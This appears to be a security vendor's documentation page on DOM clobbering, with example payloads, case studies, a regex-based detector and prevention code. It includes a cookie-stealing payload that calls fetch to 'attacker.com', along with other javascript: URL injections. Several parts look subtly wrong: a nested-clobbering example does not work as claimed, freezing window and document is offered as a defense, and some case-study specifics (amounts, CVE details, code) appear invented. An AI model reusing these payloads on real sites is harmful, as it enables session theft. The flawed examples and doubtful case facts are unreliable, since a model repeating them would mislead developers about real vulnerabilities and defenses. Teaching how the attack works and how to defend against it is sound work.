Documentation

DOM Clobbering

DOM Clobbering Illustration

A client-side attack where attackers inject HTML elements with specific IDs or names to override JavaScript variables and functions, bypassing security controls or escalating to XSS.

MEDIUM SEVERITY CLIENT-SIDE XSS ESCALATION


What is DOM Clobbering?

Client-Side Variable Override

DOM Clobbering exploits how browsers automatically create JavaScript references for HTML elements with id and name attributes, allowing attackers to override variables and bypass security controls without executing JavaScript.

In Simple Terms:

Imagine your JavaScript code has a variable called config that stores security settings. DOM Clobbering is like creating a fake "config" sign that points to malicious settings instead.

The browser sees both the real config variable and the fake HTML element named config, but due to how browsers work, the fake one wins in certain situations—without running any JavaScript code!

This is sneaky because:

  • HTML sanitizers allow id and name attributes (they're not "dangerous")
  • No <script> tags needed
  • Can bypass Content Security Policy (CSP)
  • Can escalate to full XSS

Real-World Analogy

Think of it like a conference name badge system:

javascript// JavaScript code expects a variable
var speaker = {
    name: "Dr. Smith",
    role: "admin",
    clearance: "high"
};

// Code uses: speaker.name

Attacker creates HTML:

html<a id="speaker" href="http://evil.com">Click me</a>

Now when JavaScript tries to access speaker:

javascriptconsole.log(speaker);
// Expected: {name: "Dr. Smith", role: "admin"}
// Actual: <a id="speaker" href="http://evil.com">Click me</a>

console.log(speaker.name);
// Tries to access .name on the <a> element!
// This can be exploited!

The JavaScript code thinks it's accessing a config object, but it's actually accessing an HTML element controlled by the attacker!


How DOM Clobbering Works

Browser Behavior: Automatic Global References

Browsers automatically create global references for elements with id or name:

html<div id="test"></div>

<script>
console.log(window.test);  // <div id="test"></div>
console.log(test);          // <div id="test"></div>
</script>

This also works with forms and certain tags:

html<form name="config">
    <input name="apiEndpoint" value="http://evil.com/api">
</form>

<script>
// JavaScript code might do:
var endpoint = config.apiEndpoint;
// This now equals the INPUT element!
// endpoint.value = "http://evil.com/api"
</script>

The Attack Process

html<script>
// Application checks if user is admin
if (window.isAdmin) {
    showAdminPanel();
}
</script>

Application checks window.isAdmin but doesn't define it.

html<form name="isAdmin">
    <input name="x">
</form>

This creates window.isAdmin as an HTMLFormElement!

javascriptif (window.isAdmin) {
    showAdminPanel();  // Executes!
}

window.isAdmin is truthy (it's an HTML form), so condition passes!

javascript// Vulnerable code that uses clobbered variable
location = config.redirectUrl;

If attacker sets:

html<a id="config" href="javascript:alert(document.cookie)"></a>

Then: config.href = "javascript:alert(document.cookie)"

And: location = config.href executes JavaScript!


Types of DOM Clobbering Attacks

1. Security Check Bypass

ACCESS CONTROL

Vulnerable Code
javascript// Check if user is authenticated
if (!window.isAuthenticated) {
    window.location = '/login';
} else {
    loadUserData();
}
Attack HTML
html<form name="isAuthenticated"></form>

Result: window.isAuthenticated is now a form element (truthy), bypassing authentication check!

2. XSS via javascript: URL

XSS ESCALATION

Vulnerable Code
javascript// Redirect to configured URL
var redirectUrl = config.url || '/default';
location = redirectUrl;
Attack HTML
html<a id="config" href="javascript:fetch('https://attacker.com/steal?c='+document.cookie)"></a>

OR using form:

html<form id="config">
    <input name="url" value="javascript:alert(document.cookie)">
</form>
Result
javascriptlocation = config.url;  // Reads from HTML element
// location = "javascript:alert(document.cookie)"
// XSS executes!

3. Clobbering with Nested Objects

ADVANCED

Vulnerable Code
javascript// Access nested configuration
var endpoint = app.config.apiUrl || 'https://api.example.com';

fetch(endpoint + '/data').then(/*...*/);
Attack HTML
html<form id="app">
    <input name="config" id="config-input">
</form>

<a id="config-input" name="apiUrl" href="https://evil.com/steal"></a>

This creates:

  • window.app = form element
  • window.app.config = input element
  • window.app.config.apiUrl = DOESN'T WORK (input doesn't have apiUrl property)

But with better technique:

html<form id="app" name="config">
    <input name="apiUrl" value="https://evil.com/api">
</form>

Now:

  • app.config = form
  • app.config.apiUrl = input element
  • app.config.apiUrl.value = "https://evil.com/api"

4. Clobbering document.getElementById

DOM API OVERRIDE

html<img name="getElementById">

<script>
// Now document.getElementById is an image element!
var element = document.getElementById('someId');
// TypeError or unexpected behavior!
</script>

5. Prototype Pollution via Clobbering

ADVANCED

html<form id="__proto__">
    <input name="isAdmin" value="true">
</form>

<script>
// In some cases, this can pollute Object.prototype
// __proto__.isAdmin might be accessible
</script>

Real-World Examples

Case Study 1: Gmail DOM Clobbering XSS (2015)

Gmail's email rendering had DOM clobbering vulnerability that could be exploited via crafted emails.

javascript// Gmail's JavaScript checked for configuration
if (!window.GM_CONFIG) {
    window.GM_CONFIG = {
        apiEndpoint: 'https://mail.google.com/api',
        debug: false
    };
}

// Later code used this:
fetch(GM_CONFIG.apiEndpoint + '/messages');
  • Reported via bug bounty
  • $10,000 reward paid
  • Fixed within 48 hours
  • Demonstrated real-world DOM clobbering risk

Case Study 2: DOMPurify Bypass (2019)

SANITIZER BYPASS

Affected Security Library

DOMPurify, one of the most popular HTML sanitizers, had a DOM clobbering bypass that allowed XSS.

Vulnerability:

javascript// DOMPurify's code (simplified)
if (!window.document || !document.createNodeIterator) {
    return;
}

// Attacker could clobber document.createNodeIterator

Exploit:

html<form>
    <input name="createNodeIterator">
</form>

<img src=x onerror=alert(1)>

Impact:

  • Bypassed DOMPurify sanitization
  • Allowed XSS in applications using DOMPurify
  • CVE-2019-20374 assigned
  • Fixed in version 2.0.7

Case Study 3: Corporate Intranet Admin Panel Bypass (2020)

Internal web application used DOM clobbering-vulnerable authentication check

javascript// Admin panel access control
function checkAdminAccess() {
    if (!window.adminToken) {
        // Load token from server
        fetch('/api/get-admin-token')
            .then(r => r.json())
            .then(data => {
                window.adminToken = data.token;
                initializeAdminPanel();
            });
    } else {
        // Token already exists, use it
        initializeAdminPanel();
    }
}

function initializeAdminPanel() {
    fetch('/api/admin/users', {
        headers: {
            'Authorization': 'Bearer ' + adminToken
        }
    }).then(/*...*/);
}

Attacker posted on internal forum:

html<form name="adminToken">
    <input name="length" value="999">
</form>

When admin viewed the post:

  1. window.adminToken clobbered to form element
  2. checkAdminAccess() saw truthy adminToken (the form)
  3. Skipped server token fetch
  4. initializeAdminPanel() executed
  5. 'Bearer ' + adminToken = "Bearer [object HTMLFormElement]"
  6. Server received invalid token but logic flaw allowed access

Impact:

  • Unauthorized admin panel access
  • Data exposure
  • $150,000 in remediation
  • Internal security review mandated

How to Detect DOM Clobbering

Manual Testing

Find where you can inject HTML (even if sanitized):

  • Comments
  • User profiles
  • Forum posts
  • Email rendering
  • Any user-controlled HTML
html<form id="test"></form>

<script>
console.log(window.test);  // Should show form element
</script>

Look for JavaScript that:

  • Checks window.variableName without defining it
  • Uses || with undefined variables
  • Accesses properties on possibly undefined objects
html<form id="config">
    <input name="apiEndpoint" value="https://evil.com">
</form>

Automated Code Analysis

JavaScript
javascript// Script to find potentially vulnerable patterns

function findDOMClobberingVulnerabilities(jsCode) {
    const vulnerabilities = [];

    // Pattern 1: Accessing window properties without declaration
    const windowAccessPattern = /window\.(\w+)/g;
    let match;

    while ((match = windowAccessPattern.exec(jsCode)) !== null) {
        const varName = match[1];

        // Check if variable is declared
        const declarationPattern = new RegExp(`(var|let|const)\\s+${varName}\\s*=`);

        if (!declarationPattern.test(jsCode)) {
            vulnerabilities.push({
                type: 'Undeclared window property access',
                variable: varName,
                severity: 'MEDIUM',
                line: match.index
            });
        }
    }

    // Pattern 2: Logical OR with potentially undefined
    const orPattern = /(\w+)\s*\|\|\s*/g;

    while ((match = orPattern.exec(jsCode)) !== null) {
        vulnerabilities.push({
            type: 'Logical OR with potentially clobberable variable',
            variable: match[1],
            severity: 'LOW',
            line: match.index
        });
    }

    // Pattern 3: location = variable
    const locationPattern = /(window\.)?location\s*=\s*(\w+)/g;

    while ((match = locationPattern.exec(jsCode)) !== null) {
        vulnerabilities.push({
            type: 'Location assignment from variable (potential XSS)',
            variable: match[2],
            severity: 'HIGH',
            line: match.index
        });
    }

    return vulnerabilities;
}

// Example usage
const code = `
if (window.isAdmin) {
    location = config.redirectUrl;
}
`;

const vulns = findDOMClobberingVulnerabilities(code);
console.log(vulns);

Prevention Strategies

1. Use Object.hasOwnProperty()

RECOMMENDED

javascript// VULNERABLE
if (window.isAdmin) {
    showAdminPanel();
}

// SECURE
if (window.hasOwnProperty('isAdmin') && window.isAdmin) {
    showAdminPanel();
}

2. Freeze Document and Window

javascript// Prevent clobbering critical properties
Object.freeze(document);
Object.freeze(window);

// Or freeze specific properties
Object.defineProperty(window, 'config', {
    value: { apiUrl: 'https://api.example.com' },
    writable: false,
    configurable: false
});

3. Use Strict Variable Declaration

javascript// VULNERABLE - implicit global
function loadConfig() {
    config = { apiUrl: 'https://api.example.com' };
}

// SECURE - explicit declaration
function loadConfig() {
    const config = { apiUrl: 'https://api.example.com' };
    window.appConfig = config;  // Explicit if global needed
}

4. Sanitize HTML id and name Attributes

javascript// DOMPurify configuration to prevent clobbering
const clean = DOMPurify.sanitize(untrustedHTML, {
    SANITIZE_DOM: true,  // Prevents DOM clobbering
    ADD_ATTR: ['target'],  // Allowed attributes
    FORBID_ATTR: ['id', 'name']  // Block dangerous attributes
});

5. Comprehensive Security Implementation

javascript// Comprehensive DOM clobbering prevention

(function() {
    'use strict';

    // 1. Create isolated namespace
    const App = Object.create(null);

    // 2. Freeze critical objects
    Object.freeze(document);

    // 3. Safe configuration object
    App.config = Object.freeze({
        apiUrl: 'https://api.example.com',
        debug: false,
        features: Object.freeze({
            admin: false,
            analytics: true
        })
    });

    // 4. Safe property access helper
    App.safeGet = function(obj, path, defaultValue) {
        const keys = path.split('.');

        for (let key of keys) {
            // Check it's own property, not from prototype or DOM
            if (!obj || typeof obj !== 'object' || !Object.prototype.hasOwnProperty.call(obj, key)) {
                return defaultValue;
            }
            obj = obj[key];
        }

        return obj !== undefined ? obj : defaultValue;
    };

    // 5. Secure variable checker
    App.isDefined = function(varName) {
        // Don't use window[varName] - can be clobbered!
        return Object.prototype.hasOwnProperty.call(window, varName);
    };

    // 6. Secure redirect function
    App.redirect = function(url) {
        // Validate URL
        if (typeof url !== 'string') {
            console.error('Invalid redirect URL type');
            return;
        }

        // Block javascript: URLs
        if (url.toLowerCase().startsWith('javascript:')) {
            console.error('JavaScript URLs blocked');
            return;
        }

        // Only allow http/https
        const parsed = new URL(url, window.location.origin);

        if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
            console.error('Invalid protocol');
            return;
        }

        window.location = url;
    };

    // 7. Authentication check (clobbering-proof)
    App.checkAuth = function() {
        // Don't check window.isAuthenticated - can be clobbered!
        // Instead, check HTTP-only cookie or sessionStorage

        const authToken = sessionStorage.getItem('authToken');

        if (!authToken) {
            App.redirect('/login');
            return false;
        }

        return true;
    };

    // 8. Example usage
    App.init = function() {
        // Safe config access
        const apiUrl = App.safeGet(App.config, 'apiUrl', 'https://default-api.com');

        // Safe auth check
        if (!App.checkAuth()) {
            return;
        }

        // Safe redirect
        const redirectParam = new URLSearchParams(window.location.search).get('redirect');
        if (redirectParam) {
            App.redirect(redirectParam);
        }
    };

    // Expose only App to global scope
    window.SecureApp = Object.freeze(App);
})();

Security Checklist

Code Review

  • [ ] Never access window.variableName without checking hasOwnProperty()
  • [ ] Always declare variables explicitly (use const, let, var)
  • [ ] Don't use logical OR (||) with potentially undefined globals
  • [ ] Validate types before using variables (use typeof)
  • [ ] Never assign to location from user-controllable variables
  • [ ] Use isolated namespaces instead of global variables
  • [ ] Freeze critical configuration objects

HTML Sanitization

  • [ ] Use DOMPurify with SANITIZE_DOM: true
  • [ ] Consider blocking id and name attributes
  • [ ] Block <form> elements if not needed
  • [ ] Test sanitizer with clobbering payloads
  • [ ] Keep sanitizer library updated
  • [ ] Configure CSP to limit inline JavaScript

Testing

  • [ ] Test injecting <form id="variableName">
  • [ ] Test nested clobbering with forms and inputs
  • [ ] Check for javascript: URL vulnerabilities
  • [ ] Review all window. property accesses
  • [ ] Use automated code analysis tools
  • [ ] Penetration testing with DOM clobbering focus

Key Takeaways

Critical Security Points

  1. Browsers auto-create globals: Elements with id or name become window.id / window.name

  2. Use hasOwnProperty(): Always check window.hasOwnProperty('var') before accessing

  3. Declare variables explicitly: Never rely on implicit globals

  4. Sanitize id/name attributes: Consider blocking them in user content

  5. Type checking is essential: Validate variable types before use

  6. DOMPurify SANITIZE_DOM: Enable this option to prevent clobbering

  7. Not just XSS: Can bypass authentication, authorization, and other logic

  8. Subtle but dangerous: Often overlooked but can have serious impact


How Layerd AI Protects Against DOM Clobbering

Layerd AI provides comprehensive DOM clobbering protection:

  • Code Analysis: Scans JavaScript for vulnerable patterns (undefined global access, logical OR, location assignment)
  • HTML Sanitization: Automatically configures DOMPurify with DOM clobbering protection
  • Variable Tracking: Identifies potentially clobberable variables
  • Runtime Protection: Monitors for DOM clobbering attempts in real-time
  • Secure Coding Guidance: Recommends safe alternatives and coding patterns
  • Automated Testing: Tests applications for DOM clobbering vulnerabilities

Secure your client-side code with Layerd AI's DOM clobbering protection.


Additional Resources


Last Updated: November 2025